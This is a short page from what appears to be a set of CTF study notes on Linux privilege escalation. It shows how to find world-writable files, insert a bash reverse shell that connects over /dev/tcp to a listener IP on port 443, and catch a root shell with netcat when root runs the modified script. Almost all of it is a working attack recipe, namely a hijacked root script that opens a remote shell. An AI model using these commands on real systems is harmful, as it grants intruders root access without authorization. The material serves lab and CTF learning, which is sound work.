> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/linux-priv/weak-file-permissions/writeable-scripts-run-by-root.md).

# Writeable scripts - run by root

#### Enumerate over-permissive scripts.

```bash
find / -perm -2 ! -type l -ls 2>/dev/null
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FGfRfDf22ZssJ8QF7AiqO%2Fimage.png?alt=media&amp;token=4d5a1202-d88a-49c5-8de3-761c7593eadd" alt=""><figcaption></figcaption></figure>

#### Edit the script - include the following command.&#x20;

```bash
bash -c 'bash -i >& /dev/tcp/192.168.242.142/443 0>&1' 
```

Establish the netcat listener and wait for a root to execute the script

```bash
nc -nlvp 443
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FnI2ZlEhyHmAcuQ76PCW6%2Fimage.png?alt=media&amp;token=f382a3f0-0831-4383-9cd9-20c614c7bf33" alt=""><figcaption></figcaption></figure>